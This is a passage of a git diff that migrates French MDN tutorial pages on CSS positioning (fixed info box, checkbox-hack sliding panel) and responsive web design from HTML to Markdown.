contenu principal de votre page web se situerait probablement ici.</p> + <p>Du contenu imaginaire. Le contenu principal de votre page web se situerait probablement ici.</p> +</section> +``` -<div class="note"> -<p><strong>Note :</strong> N'hésitez pas à changer ce contenu imaginaire par du contenu concret si vous le souhaitez.</p> -</div> +> **Note :** N'hésitez pas à changer ce contenu imaginaire par du contenu concret si vous le souhaitez. -<h3 id="Modifications_au_CSS_existant">Modifications au CSS existant</h3> +### Modifications au CSS existant -<p>Ensuite, adaptons le code CSS existant afin que la boîte d'information soit placée et positionnée. On change la règle ciblant <code>.info-box</code> afin de se débarrasser de <code>margin: 0 auto;</code> (on ne veut plus que la boîte soit centrée) et d'ajouter <a href="/fr/docs/Web/CSS/position"><code>position</code></a><code>: fixed;</code> avant de l'attacher au haut de la zone d'affichage du navigateur avec <a href="/fr/docs/Web/CSS/top"><code>top</code></a>.</p> +Ensuite, adaptons le code CSS existant afin que la boîte d'information soit placée et positionnée. On change la règle ciblant `.info-box` afin de se débarrasser de `margin: 0 auto;` (on ne veut plus que la boîte soit centrée) et d'ajouter [`position`](/fr/docs/Web/CSS/position)`: fixed;` avant de l'attacher au haut de la zone d'affichage du navigateur avec [`top`](/fr/docs/Web/CSS/top). -<p>Voici ce à quoi ça devrait ressembler :</p> +Voici ce à quoi ça devrait ressembler : -<pre class="brush: css"> +```css .info-box { width: 450px; height: 400px; position: fixed; top: 0; } -</pre> +``` -<h3 id="Mettre_en_forme_le_contenu_principal">Mettre en forme le contenu principal</h3> +### Mettre en forme le contenu principal -<p>Il nous reste alors à mettre en forme le contenu principal. Ajoutez la règle suivante à la suite de votre CSS existant :</p> +Il nous reste alors à mettre en forme le contenu principal. Ajoutez la règle suivante à la suite de votre CSS existant : -<pre class="brush: css"> +```css .fake-content { background-color: #a60000; color: white; @@ -300,51 +293,47 @@ function setTabHandler(tab, tabPos) { height: 2000px; margin-left: 470px; } -</pre> +``` -<p>Pour commencer, on utilise la même couleur de texte et d'arrière-plan avec <a href="/fr/docs/Web/CSS/background-color"><code>background-color</code></a>, <a href="/fr/docs/Web/CSS/color"><code>color</code></a>, et le même remplissage (<a href="/fr/docs/Web/CSS/padding"><code>padding</code></a>) que pour les panneaux de la boîte d'information. On applique ensuite une marge à gauche suffisante (<a href="/fr/docs/Web/CSS/margin-left"><code>margin-left</code></a>) pour décaler le contenu à droite afin de créer suffisamment d'espace pour la boîte d'information pour que celle-ci ne recouvre pas le reste.</p> +Pour commencer, on utilise la même couleur de texte et d'arrière-plan avec [`background-color`](/fr/docs/Web/CSS/background-color), [`color`](/fr/docs/Web/CSS/color), et le même remplissage ([`padding`](/fr/docs/Web/CSS/padding)) que pour les panneaux de la boîte d'information. On applique ensuite une marge à gauche suffisante ([`margin-left`](/fr/docs/Web/CSS/margin-left)) pour décaler le contenu à droite afin de créer suffisamment d'espace pour la boîte d'information pour que celle-ci ne recouvre pas le reste. -<p>Et voici la fin de ce deuxième exemple, espérons que le troisième vous sera tout aussi utile.</p> +Et voici la fin de ce deuxième exemple, espérons que le troisième vous sera tout aussi utile. -<h2 id="Un_panneau_glissant_masqué">Un panneau glissant masqué</h2> +## Un panneau glissant masqué -<p>Le dernier exemple que nous verrons ici est un panneau qui apparaît/disparaît en « glissant » de l'écran après avoir appuyé sur une icône. Comme mentionné plus haut, il s'agit d'un geste commun pour des dispositions mobiles où l'espace à l'écran est restreint et où on ne veut pas le gaspiller en montrant constamment un menu ou un panneau d'information à la place du contenu utile.</p> +Le dernier exemple que nous verrons ici est un panneau qui apparaît/disparaît en « glissant » de l'écran après avoir appuyé sur une icône. Comme mentionné plus haut, il s'agit d'un geste commun pour des dispositions mobiles où l'espace à l'écran est restreint et où on ne veut pas le gaspiller en montrant constamment un menu ou un panneau d'information à la place du contenu utile. -<p>Voilà ce à quoi ressemblera notre exemple terminé :</p> +Voilà ce à quoi ressemblera notre exemple terminé : -<p><img alt="" src="hidden-sliding-panel.png"></p> + -<div class="note"> -<p><strong>Note :</strong> Vous pouvez voir l'exemple fini en démonstration sur la page <a href="https://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/hidden-info-panel.html">hidden-info-panel.html</a> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/hidden-info-panel.html">code source</a>). N'hésitez pas à le consulter pour avoir une idée du résultat que vous allez construire.</p> -</div> +> **Note :** Vous pouvez voir l'exemple fini en démonstration sur la page [hidden-info-panel.html](https://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/hidden-info-panel.html) ([code source](https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/hidden-info-panel.html)). N'hésitez pas à le consulter pour avoir une idée du résultat que vous allez construire. -<p>Pour commencer, enregistrez le fichier <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/hidden-info-panel-start.html">hidden-info-panel-start.html</a> sur votre ordinateur. Celui-ci ne repart pas de l'exemple précédent et il faut donc utiliser un nouveau fichier. Voyons déjà ce que contient le code HTML de ce fichier :</p> +Pour commencer, enregistrez le fichier [hidden-info-panel-start.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/hidden-info-panel-start.html) sur votre ordinateur. Celui-ci ne repart pas de l'exemple précédent et il faut donc utiliser un nouveau fichier. Voyons déjà ce que contient le code HTML de ce fichier : -<pre class="brush: html"> -<label for="toggle">❔</label> -<input type="checkbox" id="toggle"> -<aside> +```html +<label for="toggle">❔</label> +<input type="checkbox" id="toggle"> +<aside> ... -</aside> -</pre> +</aside> +``` -<p>Pour commencer, nous avons un élément <a href="/fr/docs/Web/HTML/Element/Label"><code><label></code></a> et un élément <a href="/fr/docs/Web/HTML/Element/Input"><code><input></code></a>. Les éléments <code><label></code> sont généralement utilisés afin d'associer un libellé avec un élément de formulaire à des fins d'accessibilité (permettant par exemple à quelqu'un qui utilise un lecteur d'écran de connaître la description du contenu attendu dans ce champ de formulaire). Ici, ce libellé est associé avec la case à cocher <code><input></code> grâce aux attributs <code>for</code> et <code>id</code>.</p> +Pour commencer, nous avons un élément [`<label>`](/fr/docs/Web/HTML/Element/Label) et un élément [`<input>`](/fr/docs/Web/HTML/Element/Input). Les éléments `<label>` sont généralement utilisés afin d'associer un libellé avec un élément de formulaire à des fins d'accessibilité (permettant par exemple à quelqu'un qui utilise un lecteur d'écran de connaître la description du contenu attendu dans ce champ de formulaire). Ici, ce libellé est associé avec la case à cocher `<input>` grâce aux attributs `for` et `id`. -<div class="note"> -<p><strong>Note :</strong> Nous avons utilisé un point d'interrogation dans notre HTML afin que celui-ci serve d'icône pour accéder à l'information : il représente le bouton qu'on utilisera pour afficher/masquer le panneau.</p> -</div> +> **Note :** Nous avons utilisé un point d'interrogation dans notre HTML afin que celui-ci serve d'icône pour accéder à l'information : il représente le bouton qu'on utilisera pour afficher/masquer le panneau. -<p>Ici, nous allons utiliser ces éléments pour un but légèrement différent. Un effet de bord sympathique des éléments <code><label></code> est que lorsqu'on clique sur eux, cela permet de cocher la case à cocher correspondante (comme si on avait cliqué sur la case en question). Cela a ainsi permis la fameuse <a href="https://css-tricks.com/the-checkbox-hack/">bidouille de la case à cocher</a> qui permet, sans utiliser JavaScript, de contrôler un élément en activant un bouton. L'élément que nous contrôlerons ici est l'élément <a href="/fr/docs/Web/HTML/Element/aside"><code><aside></code></a> qui suit les deux autres (nous avons laissé son contenu de côté pour des raisons de concision).</p> +Ici, nous allons utiliser ces éléments pour un but légèrement différent. Un effet de bord sympathique des éléments `<label>` est que lorsqu'on clique sur eux, cela permet de cocher la case à cocher correspondante (comme si on avait cliqué sur la case en question). Cela a ainsi permis la fameuse [bidouille de la case à cocher](https://css-tricks.com/the-checkbox-hack/) qui permet, sans utiliser JavaScript, de contrôler un élément en activant un bouton. L'élément que nous contrôlerons ici est l'élément [`<aside>`](/fr/docs/Web/HTML/Element/aside) qui suit les deux autres (nous avons laissé son contenu de côté pour des raisons de concision). -<p>Dans les sections qui suivent, nous expliquerons comment cela fonctionne.</p> +Dans les sections qui suivent, nous expliquerons comment cela fonctionne. -<h3 id="Mettre_en_forme_les_éléments_de_formulaire">Mettre en forme les éléments de formulaire</h3> +### Mettre en forme les éléments de formulaire -<p>Commençons par les éléments de formulaire : ajoutez le CSS qui suit entre les balises <a href="/fr/docs/Web/HTML/Element/style"><code><style></code></a> :</p> +Commençons par les éléments de formulaire : ajoutez le CSS qui suit entre les balises [`<style>`](/fr/docs/Web/HTML/Element/style) : -<pre class="brush: css"> +```css label[for="toggle"] { font-size: 3rem; position: absolute; @@ -358,24 +347,22 @@ input[type="checkbox"] { position: absolute; top: -100px; } -</pre> +``` -<p>La première règle met en forme <code><label></code>, on y trouve :</p> +La première règle met en forme `<label>`, on y trouve : -<ul> - <li>Une taille de police (<a href="/fr/docs/Web/CSS/font-size"><code>font-size</code></a>) élevée afin que l'icône soit bien visible.</li> - <li>Une <a href="/fr/docs/Web/CSS/position"><code>position</code></a> <code>absolute</code> avec des définitions pour <a href="/fr/docs/Web/CSS/top"><code>top</code></a> et <a href="/fr/docs/Web/CSS/right"><code>right</code></a> qui permettent de positionner l'icône dans le coin supérieur droit.</li> - <li>Une définition de <a href="/fr/docs/Web/CSS/z-index"><code>z-index</code></a> à 1 afin que, lorsque le panneau d'information est montré, il ne recouvre pas l'icône mais que celle-ci soit toujours affichée afin de pouvoir l'utiliser pour masquer le panneau d'information.</li> - <li>Une propriété <a href="/fr/docs/Web/CSS/cursor"><code>cursor</code></a> pour changer le curseur de la souris au survol de l'icône afin que le curseur prenne la forme d'une main (la même que celle utilisée par défaut au survol des liens). Cela fournit une indication visuelle supplémentaire comme quoi l'icône fait quelque chose d'intéressant.</li> -</ul> +- Une taille de police ([`font-size`](/fr/docs/Web/CSS/font-size)) élevée afin que l'icône soit bien visible. +- Une [`position`](/fr/docs/Web/CSS/position) `absolute` avec des définitions pour [`top`](/fr/docs/Web/CSS/top) et [`right`](/fr/docs/Web/CSS/right) qui permettent de positionner l'icône dans le coin supérieur droit. +- Une définition de [`z-index`](/fr/docs/Web/CSS/z-index) à 1 afin que, lorsque le panneau d'information est montré, il ne recouvre pas l'icône mais que celle-ci soit toujours affichée afin de pouvoir l'utiliser pour masquer le panneau d'information. +- Une propriété [`cursor`](/fr/docs/Web/CSS/cursor) pour changer le curseur de la souris au survol de l'icône afin que le curseur prenne la forme d'une main (la même que celle utilisée par défaut au survol des liens). Cela fournit une indication visuelle supplémentaire comme quoi l'icône fait quelque chose d'intéressant. -<p>La deuxième règle applique <a href="/fr/docs/Web/CSS/position"><code>position</code></a> <code>absolute</code> sur la case à cocher <code><input></code> et la masquer en haut de l'écran, car on ne veut pas l'afficher sur l'interface utilisateur.</p> +La deuxième règle applique [`position`](/fr/docs/Web/CSS/position) `absolute` sur la case à cocher `<input>` et la masquer en haut de l'écran, car on ne veut pas l'afficher sur l'interface utilisateur. -<h3 id="Mettre_en_forme_le_panneau">Mettre en forme le panneau</h3> +### Mettre en forme le panneau -<p>Il est désormais temps de mettre en forme le panneau à proprement parler. Ajoutez la règle suivante à la fin de votre CSS :</p> +Il est désormais temps de mettre en forme le panneau à proprement parler. Ajoutez la règle suivante à la fin de votre CSS : -<pre class="brush: css"> +```css aside { background-color: #a60000; color: white; @@ -390,49 +377,55 @@ aside { transition: 0.6s all; } -</pre> +``` -<p>Il y a plusieurs déclarations ici, voyons-les au fur et à mesure :</p> +Il y a plusieurs déclarations ici, voyons-les au fur et à mesure : -<ul> - <li>Tout d'abord, on applique une couleur d'arrière-plan et pour le texte avec <a href="/fr/docs/Web/CSS/background-color"><code>background-color</code></a> et <a href="/fr/docs/Web/CSS/color"><code>color</code></a>.</li> - <li>Ensuite, on définit une largeur (<a href="/fr/docs/Web/CSS/width"><code>width</code></a>) fixe sur le panneau et on définit la hauteur (<a href="/fr/docs/Web/CSS/height"><code>height</code></a>) afin que celle-ci occupe la hauteur de toute la zone d'affichage.</li> - <li>On ajoute également du remplissage (<a href="/fr/docs/Web/CSS/padding"><code>padding</code></a>) horizontal pour espacer légèrement.</li> - <li>Ensuite, on utilise <a href="/fr/docs/Web/CSS/position"><code>position</code></a><code>: fixed;</code> sur le panneau afin qu'il apparaisse toujours à la même place, même s'il y a du contenu à faire défiler sur la page. On le colle en haut (<a href="/fr/docs/Web/CSS/top"><code>top</code></a>) de la zone d'affichage et on le positionne afin que, par défaut, il soit situé à droite (<a href="/fr/docs/Web/CSS/right"><code>right</code></a>) et en dehors de l'écran.</li> - <li>Enfin, on applique une <a href="/fr/docs/Web/CSS/transition"><code>transition</code></a> sur l'élément. Les transitions permettent de réaliser des changements d'état de façon progressive plutôt que d'avoir un passage abrupt entre « actif » et « inactif ». Ici, on veut que le panneau glisse progressivement pour apparaître à l'écran quand la case à cocher est cochée. Autrement dit, quand on clique sur l'icône du point d'interrogation (cela déclenche la bidouille qui coche la case), on veut que le panneau transitionne délicatement pour apparaître à l'écran.</li> -</ul> +- Tout d'abord, on applique une couleur d'arrière-plan et pour le texte avec [`background-color`](/fr/docs/Web/CSS/background-color) et [`color`](/fr/docs/Web/CSS/color). +- Ensuite, on définit une largeur ([`width`](/fr/docs/Web/CSS/width)) fixe sur le panneau et on définit la hauteur ([`height`](/fr/docs/Web/CSS/height)) afin que celle-ci occupe la hauteur de toute la zone d'affichage. +- On ajoute également du remplissage ([`padding`](/fr/docs/Web/CSS/padding)) horizontal pour espacer légèrement. +- Ensuite, on utilise [`position`](/fr/docs/Web/CSS/position)`: fixed;` sur le panneau afin qu'il apparaisse toujours à la même place, même s'il y a du contenu à faire défiler sur la page. On le colle en haut ([`top`](/fr/docs/Web/CSS/top)) de la zone d'affichage et on le positionne afin que, par défaut, il soit situé à droite ([`right`](/fr/docs/Web/CSS/right)) et en dehors de l'écran. +- Enfin, on applique une [`transition`](/fr/docs/Web/CSS/transition) sur l'élément. Les transitions permettent de réaliser des changements d'état de façon progressive plutôt que d'avoir un passage abrupt entre « actif » et « inactif ». Ici, on veut que le panneau glisse progressivement pour apparaître à l'écran quand la case à cocher est cochée. Autrement dit, quand on clique sur l'icône du point d'interrogation (cela déclenche la bidouille qui coche la case), on veut que le panneau transitionne délicatement pour apparaître à l'écran. -<h3 id="Définir_l'état_coché">Définir l'état coché</h3> +### Définir l'état coché -<p>Voici le dernier fragment de CSS à ajouter, là encore à la fin :</p> +Voici le dernier fragment de CSS à ajouter, là encore à la fin : -<pre class="brush: css"> +```css input[type=checkbox]:checked + aside { right: 0px; } -</pre> +``` + +Le sélecteur utilisé ici est plutôt complexe : on sélectionne l'élément `<aside>` adjacent à l'élément `<input>`, uniquement lorsque ce dernier est coché (grâce à la pseudo-classe [`:checked`](/fr/docs/Web/CSS/:checked)). Lorsque c'est le cas, on définit la propriété [`right`](/fr/docs/Web/CSS/right) de l'élément `<aside>` à `0px`, ce qui fait que le panneau apparaît à l'écran (progressivement grâce à la transition). Cliquer sur le libellé à nouveau permettra de décocher la case et de masquer le panneau à nouveau. + +Et voilà, une astuce sans JavaScript pour créer un interrupteur. Cela fonctionnera à partir de IE9 (les transitions fonctionneront à partir de IE10). Ce n'est pas totalement idéal : les éléments de formulaire n'ont pas été conçus pour ça ; l'accessibilité n'est pas au rendez-vous non plus : le libellé ne peut pas recevoir le focus par défaut et on utilise des éléments de formulaire de façon non sémantique, ce qui pourrait causer des problèmes avec les lecteurs d'écran. Pour affiner cela, utiliser du JavaScript avec un lien ou un bouton serait sans doute plus approprié. Quoi qu'il en soit, cela permet d'avoir un exemple fonctionnel avec quelques astuces pour expérimenter. + +## Résumé + +Et voici pour notre étude sur le positionnement. Vous devriez désormais avoir une idée des mécanismes de base et une compréhension nécessaire pour appliquer ces notions afin de construire des interfaces utilisateurs. Pas d'inquiétude si vous n'avez pas tout compris immédiatement, le positionnement est un sujet plutôt avancé et il est toujours possible de revenir sur ces articles afin d'aider à la compréhension par la suite. Le prochain sujet que nous aborderons portera sur les boîtes flexibles, aussi appelées <i lang="en">flexbox</i>. + +## Dans ce module + +- [Introduction aux dispositions CSS](/fr/docs/Learn/CSS/CSS_layout/Introduction) +- [Flux normal](/fr/docs/Learn/CSS/CSS_layout/Normal_Flow) +- [Boîtes flexibles (flexbox)](/fr/docs/Learn/CSS/CSS_layout/Flexbox) +- [Grilles CSS](/fr/docs/Learn/CSS/CSS_layout/Grids) +- [Flottements](/fr/docs/Learn/CSS/CSS_layout/Floats) +- [Positionnement](/fr/docs/Learn/CSS/CSS_layout/Positioning) +- [Disposition à plusieurs colonnes](/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout) +- [Conception adaptative (<i lang="en">responsive design</i>)](/fr/docs/Learn/CSS/CSS_layout/Responsive_Design) -<p>Le sélecteur utilisé ici est plutôt complexe : on sélectionne l'élément <code><aside></code> adjacent à l'élément <code><input></code>, uniquement lorsque ce dernier est coché (grâce à la pseudo-classe <a href="/fr/docs/Web/CSS/:checked"><code>:checked</code></a>). Lorsque c'est le cas, on définit la propriété <a href="/fr/docs/Web/CSS/right"><code>right</code></a> de l'élément <code><aside></code> à <code>0px</code>, ce qui fait que le panneau apparaît à l'écran (progressivement grâce à la transition). Cliquer sur le libellé à nouveau permettra de décocher la case et de masquer le panneau à nouveau.</p> + <i lang="en">responsive design</i> -<p>Et voilà, une astuce sans JavaScript pour créer un interrupteur. Cela fonctionnera à partir de IE9 (les transitions fonctionneront à partir de IE10). Ce n'est pas totalement idéal : les éléments de formulaire n'ont pas été conçus pour ça ; l'accessibilité n'est pas au rendez-vous non plus : le libellé ne peut pas recevoir le focus par défaut et on utilise des éléments de formulaire de façon non sémantique, ce qui pourrait causer des problèmes avec les lecteurs d'écran. Pour affiner cela, utiliser du JavaScript avec un lien ou un bouton serait sans doute plus approprié. Quoi qu'il en soit, cela permet d'avoir un exemple fonctionnel avec quelques astuces pour expérimenter.</p> + [Conception adaptative (<i lang="en">responsive design</i>)](/fr/docs/Learn/CSS/CSS_layout/Responsive_Design) -<h2 id="Résumé">Résumé</h2> +- [Guide sur les requêtes de média (<i lang="en">media queries</i>)](/fr/docs/Learn/CSS/CSS_layout/Media_queries) -<p>Et voici pour notre étude sur le positionnement. Vous devriez désormais avoir une idée des mécanismes de base et une compréhension nécessaire pour appliquer ces notions afin de construire des interfaces utilisateurs. Pas d'inquiétude si vous n'avez pas tout compris immédiatement, le positionnement est un sujet plutôt avancé et il est toujours possible de revenir sur ces articles afin d'aider à la compréhension par la suite. Le prochain sujet que nous aborderons portera sur les boîtes flexibles, aussi appelées <i lang="en">flexbox</i>.</p> + <i lang="en">media queries</i> -<h2 id="Dans_ce_module">Dans ce module</h2> + [Guide sur les requêtes de média (<i lang="en">media queries</i>)](/fr/docs/Learn/CSS/CSS_layout/Media_queries) -<ul> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Introduction">Introduction aux dispositions CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Normal_Flow">Flux normal</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Flexbox">Boîtes flexibles (flexbox)</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Grids">Grilles CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Floats">Flottements</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Positioning">Positionnement</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Disposition à plusieurs colonnes</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Responsive_Design">Conception adaptative (<i lang="en">responsive design</i>)</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Media_queries">Guide sur les requêtes de média (<i lang="en">media queries</i>)</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Méthodes de disposition historiques</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Prendre en charge les anciens navigateurs</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Évaluation pour la compréhension des fondamentaux des dispositions CSS</a></li> -</ul> +- [Méthodes de disposition historiques](/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods) +- [Prendre en charge les anciens navigateurs](/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers) +- [Évaluation pour la compréhension des fondamentaux des dispositions CSS](/fr/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension) diff --git a/files/fr/learn/css/css_layout/responsive_design/index.md b/files/fr/learn/css/css_layout/responsive_design/index.md index 312eea3059..87fefdde89 100644 --- a/files/fr/learn/css/css_layout/responsive_design/index.md +++ b/files/fr/learn/css/css_layout/responsive_design/index.md @@ -13,205 +13,207 @@ tags: translation_of: Learn/CSS/CSS_layout/Responsive_Design original_slug: Apprendre/CSS/CSS_layout/Responsive_Design --- -<div>{{learnsidebar}}{{PreviousMenuNext("Apprendre/CSS/CSS_layout/Multiple-column_Layout", "Apprendre/CSS/CSS_layout/Media_queries", "Apprendre/CSS/CSS_layout")}}</div> +{{learnsidebar}}{{PreviousMenuNext("Apprendre/CSS/CSS_layout/Multiple-column_Layout", "Apprendre/CSS/CSS_layout/Media_queries", "Apprendre/CSS/CSS_layout")}} -<p>Aux débuts de la conception Web, les pages étaient construites pour cibler une taille d'écran particulière. Si l'utilisateur avait un écran plus grand ou plus petit que celui du concepteur, les résultats attendus pouvaient aller de barres de défilement indésirables, à des longueurs de lignes trop longues, et à une mauvaise utilisation de l'espace. À mesure que des tailles d'écran plus variées devenaient disponibles, le concept de <em>responsive web design</em> (RWD) est apparu, un ensemble de pratiques qui permet aux pages Web de modifier leur disposition et leur apparence pour s'adapter à différentes largeurs d'écran, résolutions, etc. C'est une idée qui a changé notre façon de concevoir pour un web multi-périphériques, et dans cet article nous vous aiderons à comprendre les principales techniques que vous devez connaître pour la maîtriser.</p> +Aux débuts de la conception Web, les pages étaient construites pour cibler une taille d'écran particulière. Si l'utilisateur avait un écran plus grand ou plus petit que celui du concepteur, les résultats attendus pouvaient aller de barres de défilement indésirables, à des longueurs de lignes trop longues, et à une mauvaise utilisation de l'espace. À mesure que des tailles d'écran plus variées devenaient disponibles, le concept de _responsive web design_ (RWD) est apparu, un ensemble de pratiques qui permet aux pages Web de modifier leur disposition et leur apparence pour s'adapter à différentes largeurs d'écran, résolutions, etc. C'est une idée qui a changé notre façon de concevoir pour un web multi-périphériques, et dans cet article nous vous aiderons à comprendre les principales techniques que vous devez connaître pour la maîtriser. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis:</th> - <td>Les bases du HTML (étudier <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML">Introduction au HTML</a>), et une idée du fonctionnement du CSS (édutier <a href="/fr/docs/Learn/CSS/First_steps">Premiers pas en CSS</a> et <a href="/fr/docs/Apprendre/CSS/Building_blocks">Blocs de base en CSS</a>.)</td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td>Comprendre les concepts fondamentaux et l'histoire du responsive design.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis:</th> + <td> + Les bases du HTML (étudier + <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML" + >Introduction au HTML</a + >), et une idée du fonctionnement du CSS (édutier + <a href="/fr/docs/Learn/CSS/First_steps">Premiers pas en CSS</a> et + <a href="/fr/docs/Apprendre/CSS/Building_blocks">Blocs de base en CSS</a + >.) + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td> + Comprendre les concepts fondamentaux et l'histoire du responsive design. + </td> + </tr> + </tbody> </table> -<h2 id="Historique_de_la_mise_en_page_des_sites_Web">Historique de la mise en page des sites Web</h2> +## Historique de la mise en page des sites Web -<p>A une époque, vous aviez deux options pour concevoir un site Web :</p> +A une époque, vous aviez deux options pour concevoir un site Web : -<ul> - <li>Vous pourriez créer un <em>site liquide</em>, qui s'étirerait pour remplir la fenêtre du navigateur</li> - <li>ou un site <em>à largeur fixe</em>, qui aurait une taille fixe en pixels.</li> -</ul> +- Vous pourriez créer un _site liquide_, qui s'étirerait pour remplir la fenêtre du navigateur +- ou un site _à largeur fixe_, qui aurait une taille fixe en pixels. -<p>Ces deux approches donnaient lieu à un site Web qui avait fière allure sur l'écran de la personne qui le concevait ! Les site liquides avaient pour résultat un design écrasé sur les petits écrans (comme on le voit ci-dessous) et des longueurs de lignes illisibles sur les plus grands.</p> +Ces deux approches donnaient lieu à un site Web qui avait fière allure sur l'écran de la personne qui le concevait ! Les site liquides avaient pour résultat un design écrasé sur les petits écrans (comme on le voit ci-dessous) et des longueurs de lignes illisibles sur les plus grands. -<img alt="Une mise en page avec deux colonnes écrasées dans une fenêtre de taille mobile." src="mdn-rwd-liquid.png"> + -<div class="note"> -<p><strong>Note :</strong> Voir cette simple mise en page "liquide" : <a href="https://mdn.github.io/css-examples/learn/rwd/liquid-width.html">exemple</a>, <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/liquid-width.html">code source</a>. Lorsque vous regardez l'exemple, faites glisser la fenêtre de votre navigateur vers l'intérieur et vers l'extérieur pour voir comment cela se présente en fonction des différentes tailles.</p> -</div> +> **Note :** Voir cette simple mise en page "liquide" : [exemple](https://mdn.github.io/css-examples/learn/rwd/liquid-width.html), [code source](https://github.com/mdn/css-examples/blob/master/learn/rwd/liquid-width.html). Lorsque vous regardez l'exemple, faites glisser la fenêtre de votre navigateur vers l'intérieur et vers l'extérieur pour voir comment cela se présente en fonction des différentes tailles. -<p>Les sites à largeur fixe risquaient d'avoir une barre de défilement horizontale sur les écrans plus petits que la largeur du site (comme on le voit ci-dessous), et beaucoup d'espace blanc sur les bords sur les écrans plus grands.</p> +Les sites à largeur fixe risquaient d'avoir une barre de défilement horizontale sur les écrans plus petits que la largeur du site (comme on le voit ci-dessous), et beaucoup d'espace blanc sur les bords sur les écrans plus grands. -<img alt="Une mise en page avec une barre de défilement horizontale dans une fenêtre de visualisation mobile." src="mdn-rwd-fixed.png"> + -<div class="note"> -<p><strong>Note :</strong> Voir cette simple mise en page à largeur fixe : <a href="https://mdn.github.io/css-examples/learn/rwd/fixed-width.html">exemple</a>, <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/fixed-width.html">code source</a>. Là encore, observez le résultat lorsque vous modifiez la taille de la fenêtre du navigateur.</p> -</div> +> **Note :** Voir cette simple mise en page à largeur fixe : [exemple](https://mdn.github.io/css-examples/learn/rwd/fixed-width.html), [code source](https://github.com/mdn/css-examples/blob/master/learn/rwd/fixed-width.html). Là encore, observez le résultat lorsque vous modifiez la taille de la fenêtre du navigateur. -<div class="note"> -<p><strong>Note :</strong> Les captures d'écran ci-dessus sont réalisées à l'aide de la <a href="/fr/docs/Outils/Vue_adaptative">Vue adaptative</a> de la boîte à outils de Firefox.</p> -</div> +> **Note :** Les captures d'écran ci-dessus sont réalisées à l'aide de la [Vue adaptative](/fr/docs/Outils/Vue_adaptative) de la boîte à outils de Firefox. -<p>Lorsque le web mobile a commencé à devenir une réalité avec les premiers téléphones à fonctions, les entreprises qui souhaitaient adopter le mobile créaient généralement une version mobile spéciale de leur site, avec une URL différente (souvent quelque chose comme m.example.com, ou example.mobi). Cela signifiait qu'il fallait développer deux versions distinctes du site et les tenir à jour.</p> +Lorsque le web mobile a commencé à devenir une réalité avec les premiers téléphones à fonctions, les entreprises qui souhaitaient adopter le mobile créaient généralement une version mobile spéciale de leur site, avec une URL différente (souvent quelque chose comme m.example.com, ou example.mobi). Cela signifiait qu'il fallait développer deux versions distinctes du site et les tenir à jour. -<p>De plus, ces sites mobiles offraient souvent une expérience très réduite. Les appareils mobiles devenant plus puissants et capables d'afficher des sites Web complets, cela était frustrant pour les utilisateurs mobiles qui se retrouvaient coincés dans la version mobile du site et incapables d'accéder à l'information qu'ils savaient disponible sur la version de bureau complète du site.</p> +De plus, ces sites mobiles offraient souvent une expérience très réduite. Les appareils mobiles devenant plus puissants et capables d'afficher des sites Web complets, cela était frustrant pour les utilisateurs mobiles qui se retrouvaient coincés dans la version mobile du site et incapables d'accéder à l'information qu'ils savaient disponible sur la version de bureau complète du site. -<h2 id="Mise_en_page_flexible_avant_le_responsive_design">Mise en page flexible avant le responsive design</h2> +## Mise en page flexible avant le responsive design -<p>Un certain nombre d'approches ont été développées pour tenter de résoudre les inconvénients des méthodes de construction de sites Web liquide et à largeur fixe. En 2004, Cameron Adams a écrit un article intitulé <a href="http://www.themaninblue.com/writing/perspective/2004/09/21/">Mise en page en fonction de la résolution</a>, décrivant une méthode de création de design pouvant s'adapter à différentes résolutions d'écran. Cette approche nécessitait l'utilisation de JavaScript pour détecter la résolution d'écran et charger la bonne CSS.</p> +Un certain nombre d'approches ont été développées pour tenter de résoudre les inconvénients des méthodes de construction de sites Web liquide et à largeur fixe. En 2004, Cameron Adams a écrit un article intitulé [Mise en page en fonction de la résolution](http://www.themaninblue.com/writing/perspective/2004/09/21/), décrivant une méthode de création de design pouvant s'adapter à différentes résolutions d'écran. Cette approche nécessitait l'utilisation de JavaScript pour détecter la résolution d'écran et charger la bonne CSS. -<p>Zoe Mickley Gillenwater a grandement contribué au travail de description et de formalisation des différentes façons de créer des sites flexibles, en essayant de trouver un juste milieu entre remplir l'écran ou être complètement fixe en taille.</p> +Zoe Mickley Gillenwater a grandement contribué au travail de description et de formalisation des différentes façons de créer des sites flexibles, en essayant de trouver un juste milieu entre remplir l'écran ou être complètement fixe en taille. -<h2 id="Responsive_design">Responsive design</h2> +## Responsive design -<p>Le terme de responsive design a été <a href="https://alistapart.com/article/responsive-web-design/">inventé par Ethan Marcotte en 2010</a>, et décrit la combinaison de trois techniques.</p> +Le terme de responsive design a été [inventé par Ethan Marcotte en 2010](https://alistapart.com/article/responsive-web-design/), et 